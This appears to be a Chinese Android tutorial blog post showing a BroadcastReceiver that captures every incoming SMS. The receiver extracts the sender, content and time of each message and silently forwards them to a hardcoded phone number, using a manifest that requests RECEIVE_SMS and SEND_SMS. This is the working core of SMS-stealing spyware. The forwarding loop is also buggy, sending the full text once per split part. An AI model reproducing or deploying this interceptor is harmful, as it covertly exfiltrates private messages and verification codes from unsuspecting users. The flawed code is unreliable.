• 赵雅智_BroadcastReceiver短信监听


    AndroidManifest.xml

    1. 注冊广播接收者
    2. 加入权限

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.example.android_broadcastreceive"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk
            android:minSdkVersion="14"
            android:targetSdkVersion="19" />
        <!-- 短信权限 -->
        <uses-permission android:name="android.permission.RECEIVE_SMS"/>
        <uses-permission android:name="android.permission.SEND_SMS"/>
    
        <application
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
            
            <!-- SMBbroadcastReceive广播接收器 -->
            <receiver android:name="com.example.android_broadcastreceive.receive.SMBbroadcastReceive">
                <intent-filter >
                    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                </intent-filter>
            </receiver>
        </application>
    
    </manifest>
    


    SMBbroadcastReceive.java

    1. 继承BroadcastReceiver类而且重写onReceive()方法
    2. 获取短信内容
    3. 创建短信管理对象
    4. 获取详细对象
    5. 获取须要的信息

    package com.example.android_broadcastreceive.receive;
    
    import java.util.List;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    import android.util.Log;
    
    /**
     * 短信广播接收者
     * 
     * @author zhaoyazhi
     * 
     *         2014-6-16
     */
    public class SMBbroadcastReceive extends BroadcastReceiver {
    	private static final String TAG = "SMBbroadcastReceive";
    
    	@Override
    	public void onReceive(Context context, Intent intent) {
    		Log.i(TAG, "接收发过来的广播");
    		Bundle bundle = intent.getExtras();
    		// 推断这个參数是否为null
    		if (bundle != null) {
    			// 依据get(pdus)參数获取这个短信内容,发送短信大于70字符(自己主动拆分)
    			Object[] pdus = (Object[]) bundle.get("pdus");
    
    			SmsManager sms = SmsManager.getDefault();
    			// 创建短信的管理器对象
    			for (int i = 0; i < pdus.length; i++) {
    				// 获取详细对象
    				Object pdu = pdus[i];
    				// 通过短信消息对象的createFromPdu(pdu)转换成短信的消息对象
    				SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
    				// 获取短信的内容
    				String msg = message.getMessageBody();
    				// 获取始发人
    				String originatingAddress = message.getOriginatingAddress();
    				// 时间
    				long time = message.getTimestampMillis();
    				// 状态
    				int status = message.getStatus();
    
    				String text = "发送人:" + originatingAddress + "-------------内容:"
    						+ msg + "-------------时间" + time + "-------------读取状态"
    						+ status;
    				// 转发的时候进行短信分开发送
    				List<String> list = sms.divideMessage(text);
    				//输出截取的短信内容
    				Log.i(TAG, text);
    				for (String s : list) {
    					//转发短信内容
    					sms.sendTextMessage("18931137891", null, text, null, null);
    				}
    
    			}
    		}
    	}
    }
    



  • 相关阅读:
    FastAPI数据库系列(一) MySQL数据库操作
    FastAPI响应系列(二) 响应状态码
    FastAPI系列学习目录
    FastAPI大型目录程序设计
    FastAPI异步任务系列(一) FastAPI后台任务
    FastAPI安全系列(三) 基于Hash Password和JWT Bearer Token的OAuth2 .0认证
    FastAPI安全系列(二) 基于Password和Bearer Token的OAuth2 .0认证
    FastAPI安全系列(一) OAuth2 .0认证基础
    you can run: npm install --save core-js/modules/es.regexp.exec core-js/modules/es.string.replace(已解决)
    BFC总结
  • 原文地址:https://www.cnblogs.com/mfrbuaa/p/4008395.html
Copyright © 2020-2023  润新知